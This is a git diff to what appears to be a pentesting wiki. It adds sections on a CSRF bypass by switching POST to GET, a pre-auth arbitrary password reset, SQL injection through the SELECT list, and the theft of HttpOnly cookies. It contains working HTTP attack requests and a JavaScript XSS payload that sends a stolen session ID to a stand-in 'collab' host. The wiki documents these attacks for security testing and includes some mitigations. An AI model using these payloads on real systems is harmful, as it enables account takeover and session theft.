diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md
index 1b7dd7d04..ed89bd796 100644
--- a/src/pentesting-web/csrf-cross-site-request-forgery.md
+++ b/src/pentesting-web/csrf-cross-site-request-forgery.md
@@ -37,9 +37,39 @@ Understanding and implementing these defenses is crucial for maintaining the sec
## Defences Bypass
-### From POST to GET
+### From POST to GET (method-conditioned CSRF validation bypass)
-Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**.
+Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:
+
+```php
+public function csrf_check($fatal = true) {
+ if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
+ // ... validate __csrf_token here ...
+}
+```
+
+If the vulnerable endpoint also accepts parameters from $_REQUEST, you can reissue the same action as a GET request and omit the CSRF token entirely. This converts a POST-only action into a GET action that succeeds without a token.
+
+Example:
+
+- Original POST with token (intended):
+
+ ```http
+ POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
+ Content-Type: application/x-www-form-urlencoded
+
+ __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker
","widgetType":"URL"}]
+ ```
+
+- Bypass by switching to GET (no token):
+
+ ```http
+ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker
","widgetType":"URL"}] HTTP/1.1
+ ```
+
+Notes:
+- This pattern frequently appears alongside reflected XSS where responses are incorrectly served as text/html instead of application/json.
+- Pairing this with XSS greatly lowers exploitation barriers because you can deliver a single GET link that both triggers the vulnerable code path and avoids CSRF checks entirely.
### Lack of token
@@ -684,9 +714,6 @@ with open(PASS_LIST, "r") as f:
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
-
-
+- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 328bb0e93..7221852ae 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -691,7 +691,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument.
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `=phpinfo()?>`:
@@ -750,6 +750,9 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
+- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
+- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
+- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#file}}
EN-Local-File-Inclusion-1.pdf
diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md
index faf47cdc2..93b544f9b 100644
--- a/src/pentesting-web/hacking-with-cookies/README.md
+++ b/src/pentesting-web/hacking-with-cookies/README.md
@@ -70,6 +70,15 @@ cookie-jar-overflow.md
{{#endref}}
- It's possible to use [**Cookie Smuggling**](#cookie-smuggling) attack to exfiltrate these cookies
+- If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern:
+
+```js
+// Extract content between ...
+const re = /([\s\S]*?)/;
+fetch('/index.php?module=Touch&action=ws')
+ .then(r => r.text())
+ .then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
+```
### Secure
@@ -327,7 +336,9 @@ There should be a pattern (with the size of a used block). So, knowing how are a
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
+- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
+- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
+- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md
index 6cabbd575..363d27e32 100644
--- a/src/pentesting-web/reset-password.md
+++ b/src/pentesting-web/reset-password.md
@@ -247,10 +247,50 @@ uuid-insecurities.md
print("[+] Attck stopped")
```
+## Arbitrary password reset via skipOldPwdCheck (pre-auth)
+
+Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
+
+Vulnerable pattern (PHP):
+
+```php
+// hub/rpwd.php
+RequestHandler::validateCSRFToken();
+$RP = new RecoverPwd();
+$RP->process($_REQUEST, $_POST);
+
+// modules/Users/RecoverPwd.php
+if ($request['action'] == 'change_password') {
+ $body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
+}
+
+public function displayChangePwd($smarty, $username, $newpwd) {
+ $current_user = CRMEntity::getInstance('Users');
+ $current_user->id = $current_user->retrieve_user_id($username);
+ // ... criteria checks omitted ...
+ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
+ emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
+}
+```
+
+Exploitation request (concept):
+
+```http
+POST /hub/rpwd.php HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+
+action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
+```
+
+Mitigations:
+- Always require a valid, time-bound reset token bound to the account and session before changing a password.
+- Never expose skipOldPwdCheck paths to unauthenticated users; enforce authentication for regular password changes and verify the old password.
+- Invalidate all active sessions and reset tokens after a password change.
+
## References
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
+- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}
-
diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md
index b99b5d6e3..53ba19bf3 100644
--- a/src/pentesting-web/sql-injection/README.md
+++ b/src/pentesting-web/sql-injection/README.md
@@ -621,6 +621,37 @@ Or using a **comma bypass**:
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
+### Column/tablename injection in SELECT list via subqueries
+
+If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A common vulnerable pattern is:
+
+```php
+// Pseudocode
+$fieldname = $_REQUEST['fieldname']; // attacker-controlled
+$tablename = $modInstance->table_name; // sometimes also attacker-influenced
+$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
+$stmt = $db->pquery($q, [$rec_id]);
+```
+
+Exploitation idea: inject a subquery into the field position to exfiltrate arbitrary data:
+
+```sql
+-- Legit
+SELECT user_name FROM vte_users WHERE id=1;
+
+-- Injected subquery to extract a sensitive value (e.g., password reset token)
+SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
+```
+
+Notes:
+- This works even when the WHERE clause uses a bound parameter, because the identifier list is still string-concatenated.
+- Some stacks additionally let you control the table name (tablename injection), enabling cross-table reads.
+- Output sinks may reflect the selected value into HTML/JSON, allowing XSS or token exfiltration directly from the response.
+
+Mitigations:
+- Never concatenate identifiers from user input. Map allowed column names to a fixed allow-list and quote identifiers properly.
+- If dynamic table access is required, restrict to a finite set and resolve server-side from a safe mapping.
+
### WAF bypass suggester tools
@@ -640,5 +671,8 @@ https://github.com/m4ll0k/Atlas
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
-
+## References
+
+- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+
{{#include ../../banners/hacktricks-training.md}}